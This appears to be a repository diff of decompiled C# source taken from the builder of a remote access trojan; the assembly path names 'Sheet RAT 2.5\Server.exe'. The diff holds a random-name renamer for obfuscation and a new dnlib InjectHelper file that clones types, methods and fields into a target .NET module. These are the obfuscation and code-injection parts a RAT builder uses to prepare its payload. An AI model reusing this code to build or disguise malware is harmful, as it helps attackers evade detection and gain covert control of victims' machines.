char ch = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"[RenamerPhase.Random.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".Length)];
char[] array = Enumerable.Repeat<string>("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", length - 1).Select<string, char>((Func<string, char>) (s => s[RenamerPhase.Random.Next(s.Length)])).ToArray<char>();
return ch.ToString() + new string(array);
}
private static string GetRandomName()
{
return RenamerPhase.NormalNameStrings[RenamerPhase.Random.Next(RenamerPhase.NormalNameStrings.Length)];
}
public static string GenerateString(RenamerPhase.RenameMode mode)
{
switch (mode)
{
case RenamerPhase.RenameMode.Ascii:
return RenamerPhase.RandomString(RenamerPhase.Random.Next(8, 16 /*0x10*/));
case RenamerPhase.RenameMode.Key:
return RenamerPhase.RandomString(16 /*0x10*/);
case RenamerPhase.RenameMode.Normal:
return RenamerPhase.GetRandomName();
default:
throw new ArgumentOutOfRangeException(nameof (mode), (object) mode, (string) null);
}
}
public enum RenameMode
{
Ascii,
Key,
Normal,
}
}
}
+219
View File
@@ -0,0 +1,219 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Services.InjectHelper
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using dnlib.Utils;
using System;
using System.Windows.Forms;
using System.Collections.Generic;
using System.Linq;
//#nullable disable
namespace MindLated.Services {
public static class InjectHelper
{
private static TypeDefUser Clone(TypeDef origin)
{
TypeDefUser typeDefUser1 = new TypeDefUser(origin.Namespace, origin.Name);
typeDefUser1.Attributes = origin.Attributes;
TypeDefUser typeDefUser2 = typeDefUser1;
if (origin.ClassLayout != null)
typeDefUser2.ClassLayout = (ClassLayout) new ClassLayoutUser(origin.ClassLayout.PackingSize, origin.ClassSize);
foreach (GenericParam genericParameter in (IEnumerable<GenericParam>) origin.GenericParameters)
typeDefUser2.GenericParameters.Add((GenericParam) new GenericParamUser(genericParameter.Number, genericParameter.Flags, (UTF8String) "-"));
return typeDefUser2;
}
private static MethodDefUser Clone(MethodDef origin)
{
MethodDefUser methodDefUser = new MethodDefUser(origin.Name, (MethodSig) null, origin.ImplAttributes, origin.Attributes);
foreach (GenericParam genericParameter in (IEnumerable<GenericParam>) origin.GenericParameters)
methodDefUser.GenericParameters.Add((GenericParam) new GenericParamUser(genericParameter.Number, genericParameter.Flags, (UTF8String) "-"));
return methodDefUser;
}
private static FieldDefUser Clone(FieldDef origin)
{
return new FieldDefUser(origin.Name, (FieldSig) null, origin.Attributes);
}
private static TypeDef PopulateContext(TypeDef typeDef, InjectHelper.InjectContext ctx)
{
IDnlibDef dnlibDef;
TypeDef typeDef1;
if (!ctx.Mep.TryGetValue((IDnlibDef) typeDef, out dnlibDef))
{
typeDef1 = (TypeDef) InjectHelper.Clone(typeDef);
ctx.Mep[(IDnlibDef) typeDef] = (IDnlibDef) typeDef1;
}
else
typeDef1 = (TypeDef) dnlibDef;
foreach (TypeDef nestedType in (IEnumerable<TypeDef>) typeDef.NestedTypes)
typeDef1.NestedTypes.Add(InjectHelper.PopulateContext(nestedType, ctx));
foreach (MethodDef method in (IEnumerable<MethodDef>) typeDef.Methods)
typeDef1.Methods.Add((MethodDef) (ctx.Mep[(IDnlibDef) method] = (IDnlibDef) InjectHelper.Clone(method)));
foreach (FieldDef field in (IEnumerable<FieldDef>) typeDef.Fields)
typeDef1.Fields.Add((FieldDef) (ctx.Mep[(IDnlibDef) field] = (IDnlibDef) InjectHelper.Clone(field)));
return typeDef1;
}
private static void CopyTypeDef(TypeDef typeDef, InjectHelper.InjectContext ctx)
{
TypeDef typeDef1 = (TypeDef) ctx.Mep[(IDnlibDef) typeDef];
typeDef1.BaseType = ctx.Importer.Import(typeDef.BaseType);
foreach (InterfaceImpl interfaceImpl in (IEnumerable<InterfaceImpl>) typeDef.Interfaces)
typeDef1.Interfaces.Add((InterfaceImpl) new InterfaceImplUser(ctx.Importer.Import(interfaceImpl.Interface)));
}
private static void CopyMethodDef(MethodDef methodDef, InjectHelper.InjectContext ctx)
{
MethodDef methodDef1 = (MethodDef) ctx.Mep[(IDnlibDef) methodDef];
methodDef1.Signature = ctx.Importer.Import(methodDef.Signature);
methodDef1.Parameters.UpdateParameterTypes();
if (methodDef.ImplMap != null)
methodDef1.ImplMap = (ImplMap) new ImplMapUser((ModuleRef) new ModuleRefUser(ctx.TargetModule, methodDef.ImplMap.Module.Name), methodDef.ImplMap.Name, methodDef.ImplMap.Attributes);
foreach (CustomAttribute customAttribute in (LazyList<CustomAttribute>) methodDef.CustomAttributes)
methodDef1.CustomAttributes.Add(new CustomAttribute((ICustomAttributeType) ctx.Importer.Import((IMethod) customAttribute.Constructor)));
if (!methodDef.HasBody)
return;
methodDef1.Body = new CilBody(methodDef.Body.InitLocals, (IList<Instruction>) new List<Instruction>(), (IList<ExceptionHandler>) new List<ExceptionHandler>(), (IList<Local>) new List<Local>())
{
MaxStack = methodDef.Body.MaxStack
};
Dictionary<object, object> bodyMap = new Dictionary<object, object>();
foreach (Local variable in methodDef.Body.Variables)
{
Local local = new Local(ctx.Importer.Import(variable.Type));
methodDef1.Body.Variables.Add(local);
local.Name = variable.Name;
local.Attributes = variable.Attributes;
bodyMap[(object) variable] = (object) local;
}
foreach (Instruction instruction1 in (IEnumerable<Instruction>) methodDef.Body.Instructions)
{
Instruction instruction2 = new Instruction(instruction1.OpCode, instruction1.Operand)
{
SequencePoint = instruction1.SequencePoint
};
if (instruction2.Operand is IType)
{
instruction2.Operand = (object) ctx.Importer.Import((IType)instruction2.Operand);
}
else if (instruction2.Operand is IMethod)
{
instruction2.Operand = (object) ctx.Importer.Import((IMethod)instruction2.Operand);
}
else if (instruction2.Operand is IField)
{
instruction2.Operand = (object) ctx.Importer.Import((IField)instruction2.Operand);
}
methodDef1.Body.Instructions.Add(instruction2);
bodyMap[(object) instruction1] = (object) instruction2;
}
foreach (Instruction instruction3 in (IEnumerable<Instruction>) methodDef1.Body.Instructions)
{
if (instruction3.Operand != null && bodyMap.ContainsKey(instruction3.Operand))
instruction3.Operand = bodyMap[instruction3.Operand];
else if (instruction3.Operand is Instruction[] operand)
{
Instruction instruction4 = instruction3;
Func<Instruction, Instruction> selector = (Func<Instruction, Instruction>) (target => (Instruction) bodyMap[(object) target]);
Instruction[] array = ((IEnumerable<Instruction>) operand).Select<Instruction, Instruction>(selector).ToArray<Instruction>();
instruction4.Operand = (object) array;
}
}
foreach (ExceptionHandler exceptionHandler in (IEnumerable<ExceptionHandler>) methodDef.Body.ExceptionHandlers)
methodDef1.Body.ExceptionHandlers.Add(new ExceptionHandler(exceptionHandler.HandlerType)
{
CatchType = exceptionHandler.CatchType == null ? (ITypeDefOrRef) null : ctx.Importer.Import(exceptionHandler.CatchType),
TryStart = (Instruction) bodyMap[(object) exceptionHandler.TryStart],
TryEnd = (Instruction) bodyMap[(object) exceptionHandler.TryEnd],
HandlerStart = (Instruction) bodyMap[(object) exceptionHandler.HandlerStart],
HandlerEnd = (Instruction) bodyMap[(object) exceptionHandler.HandlerEnd],
FilterStart = exceptionHandler.FilterStart == null ? (Instruction) null : (Instruction) bodyMap[(object) exceptionHandler.FilterStart]
});
methodDef1.Body.SimplifyMacros((IList<Parameter>) methodDef1.Parameters);
}
private static void CopyFieldDef(FieldDef fieldDef, InjectHelper.InjectContext ctx)
{
((FieldDef) ctx.Mep[(IDnlibDef) fieldDef]).Signature = ctx.Importer.Import(fieldDef.Signature);
}
private static void Copy(TypeDef typeDef, InjectHelper.InjectContext ctx, bool copySelf)
{
if (copySelf)
InjectHelper.CopyTypeDef(typeDef, ctx);
foreach (TypeDef nestedType in (IEnumerable<TypeDef>) typeDef.NestedTypes)
InjectHelper.Copy(nestedType, ctx, true);
foreach (MethodDef method in (IEnumerable<MethodDef>) typeDef.Methods)
InjectHelper.CopyMethodDef(method, ctx);
foreach (FieldDef field in (IEnumerable<FieldDef>) typeDef.Fields)
InjectHelper.CopyFieldDef(field, ctx);
}
public static TypeDef Inject(TypeDef typeDef, ModuleDef target)
{
InjectHelper.InjectContext ctx = new InjectHelper.InjectContext(target);
InjectHelper.PopulateContext(typeDef, ctx);
InjectHelper.Copy(typeDef, ctx, true);
return (TypeDef) ctx.Mep[(IDnlibDef) typeDef];
}
public static MethodDef Inject(MethodDef methodDef, ModuleDef target)
{
InjectHelper.InjectContext ctx = new InjectHelper.InjectContext(target);
ctx.Mep[(IDnlibDef) methodDef] = (IDnlibDef) InjectHelper.Clone(methodDef);
InjectHelper.CopyMethodDef(methodDef, ctx);
return (MethodDef) ctx.Mep[(IDnlibDef) methodDef];
}
public static IEnumerable<IDnlibDef> Inject(TypeDef typeDef, TypeDef newType, ModuleDef target)
{
InjectHelper.InjectContext ctx = new InjectHelper.InjectContext(target);
ctx.Mep[(IDnlibDef) typeDef] = (IDnlibDef) newType;
InjectHelper.PopulateContext(typeDef, ctx);
InjectHelper.Copy(typeDef, ctx, false);
return ctx.Mep.Values.Except<IDnlibDef>((IEnumerable<IDnlibDef>) new TypeDef[1]
{
newType
});
}
private class InjectContext : ImportMapper
{
public readonly Dictionary<IDnlibDef, IDnlibDef> Mep = new Dictionary<IDnlibDef, IDnlibDef>();
public readonly ModuleDef TargetModule;
public InjectContext(ModuleDef target)
{
this.TargetModule = target;
this.Importer = new Importer(target, ImporterOptions.TryToUseTypeDefs, new GenericParamContext(), (ImportMapper) this);
}
public Importer Importer { get; }
public override ITypeDefOrRef Map(ITypeDefOrRef typeDefOrRef)
{
return !(typeDefOrRef is TypeDef key) || !this.Mep.ContainsKey((IDnlibDef) key) ? (ITypeDefOrRef) null : (ITypeDefOrRef) this.Mep[(IDnlibDef) key];
}
public override IMethod Map(MethodDef methodDef)
{
return !this.Mep.ContainsKey((IDnlibDef) methodDef) ? (IMethod) null : (IMethod) this.Mep[(IDnlibDef) methodDef];
}
public override IField Map(FieldDef fieldDef)
{
return !this.Mep.ContainsKey((IDnlibDef) fieldDef) ? (IField) null : (IField) this.Mep[(IDnlibDef) fieldDef];
}
}
}
}